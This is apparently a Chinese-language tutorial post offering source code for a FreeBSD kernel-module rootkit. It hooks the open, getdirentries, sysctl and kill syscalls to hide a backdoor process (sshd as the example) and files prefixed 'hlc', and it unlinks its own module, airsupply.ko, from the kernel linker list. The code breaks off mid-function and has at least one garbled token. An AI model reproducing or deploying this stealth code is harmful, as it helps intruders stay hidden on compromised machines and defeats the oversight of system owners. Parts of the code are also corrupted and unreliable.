kld的程序实现
|
/*freebsd的kld就像linux的lkm,能实现很多东西 linux下lkm的backdoor大鹰已经分析的很详悉了. 其实bsd下实现起来也差不多,只是代码的具体实现而已 最近把身心都给了bsd,所以也试着写点东西.把最近的感受 发泄一下撒,基础文章可以看小四的那篇freebsd kld编程指南 或者看/usr/share/examples/kld里面的列子,以及 freebsd的程序员开发手册.在/usr/share/doc/里面. 我的网站上有THC的那篇经典文章.如果要提高的话绝对不能错过. */ #include #include
/*这个宏是必需的,在内核空间分配空间必需先定义这个宏*/ MALLOC_DEFINE(M_NEW_SYSCTL,"p_data","struct"); MALLOC_DEFINE(HLC_DIR,"dir","struct"); /*要隐藏的进程名,可以是我们的后门进程拉*/ #define HIDE_PROC "sshd"
#define hidename "hlc" #define hidelength 3 extern linker_file_list_t linker_files;/*谢谢cloud学长的指点*/ extern struct lock lock; extern int next_file_id; static int filehide(char*); static int prochide(char*); static void hide_module(void); static int get_pid(void); static int new_open(struct proc *,struct open_args *); static int new_getdirentries(struct proc *,struct getdirentries_args *); static int new_sysctl(struct proc *p, struct sysctl_args *uap); static int new_kill(struct proc *p, struct kill_args *uap) ; /* *后门module至少要实现隐藏目录,隐藏进程,隐藏网络和隐藏自己 *网络的隐藏还没有作出来,呵呵,学习中,大家稍等 * * * */
/*返回要隐藏的进程的pid*/ static int get_pid(void) { struct proc *p;
p=allproc.lh_first; for (; p!=0; p=p->p_list.le_next) { if (strcmp(p->p_comm, HIDE_PROC)==0) { return p->p_pid; } } return -1; }
/* 隐藏我们的后门模块 */ static void hide_module(void) { struct linker_file * lf;
lockmgr(&lock, LK_SHARED, 0, curproc);
(&linker_files)->tqh_first->refs--;
TAILQ_FOREACH(lf, &linker_files, link) {
if (!strcmp(lf->filename, "airsupply.ko")) {
/*把加载的全局link file记数减一*/ next_file_id--;
/* remove the entry*/ TAILQ_REMOVE(&linker_files, lf, link); break; } } lockmgr(&lock, LK_RELEASE, 0, curproc);
} /* 是否为要隐藏的文件或目录 */ static int filehide(char *name) {
char buf[hidelength+1]; bcopy(name,buf,hidelength); buf[hidelength]=" "; if(!strcmp(buf,hidename)) return 1; return 0; } /*是否为要隐藏的进程*/ static int prochide(char *name) { char hide[255]; sprintf(hide,"%d",get_pid()); if(!strcmp((char*)name,(char*)hide)) return 1; return 0; }
/*新的kill的系统调用*/ static int new_kill(struct proc *p, struct kill_args *uap) { if (uap->pid==get_pid()) return ESRCH; else return kill(p, uap); } /*新的sysctl的系统调用*/ static int new_sysctl(struct proc *p, struct sysctl_args *uap) { int error, i, mib[4]; size_t size, newsize, recsize; struct kinfo_proc *p_data, *ptr; error = __sysctl(p,uap); error = copyin(uap->name, &mib, sizeof(mib)); if (error) return (error);
/* 如果是用ps pid命令,pid为要隐藏的进程id的话,就返回空 */
if((mib[2] == KERN_PROC_PID) || (mib[2] == KERN_PROC_ARGS)) { if(mib[3]==get_pid()) { size = 0; copyout(&size,uap->oldlenp, sizeof(size)); return(0); } return 0; }
error = userland_sysctl(p, mib, uap->namelen, uap->old, uap->oldlenp, 0, uap->new, uap->newlen, &size); if (error && error != ENOMEM) return (error);
if(!uap->oldlenp) return(error);
newsize = size;
/*ps命令,隐藏我们的要隐藏的进程*/
if ((uap->old) && (mib[0] == CTL_KERN) && (mib[1] == KERN_PROC)) {
MALLOC(p_data, struct kinfo_proc *, size, M_NEW_SYSCTL, M_NOWA99v);
recsize = sizeof(struct kinfo_proc);
copyin(uap->old,p_data,size); ptr = p_data; i=size;
while(i>0) { i-=recsize;
if(ptr->kp_proc.p_pid==get_pid()) /*是否为要隐藏的pid*/ { /*减掉要隐藏的进程信息的size*/ newsize -= sizeof(struct kinfo_proc);
if(i > 0) /*去掉要隐藏的进程信息*/ bcopy((char *)ptr + recsize, ptr, (i - recsize)); }
if(i > 0) ptr = (struct kinfo_proc *)((char *)ptr + recsize); }
/* copy回用户空间 */ copyout(p_data, uap->old, newsize);
FREE(p_data, M_NEW_SYSCTL); return 0; } return 0; }
/* * * * * * */
static int new_open(struct proc *p,register struct open_args *uap) { char name[256]; size_t size; if(copyinstr(uap->path,name,256,&size)==EFAULT) return(EFAULT); if(filehide(name)) return(ENOENT); return(open(p,uap));
} /* 新的getdirentries的系统调用,可以隐藏我们自己的目录和/proc里面的后门进程号 */ static int new_getdirentries(struct proc *p,register struct getdirentr 源代码网供稿. |
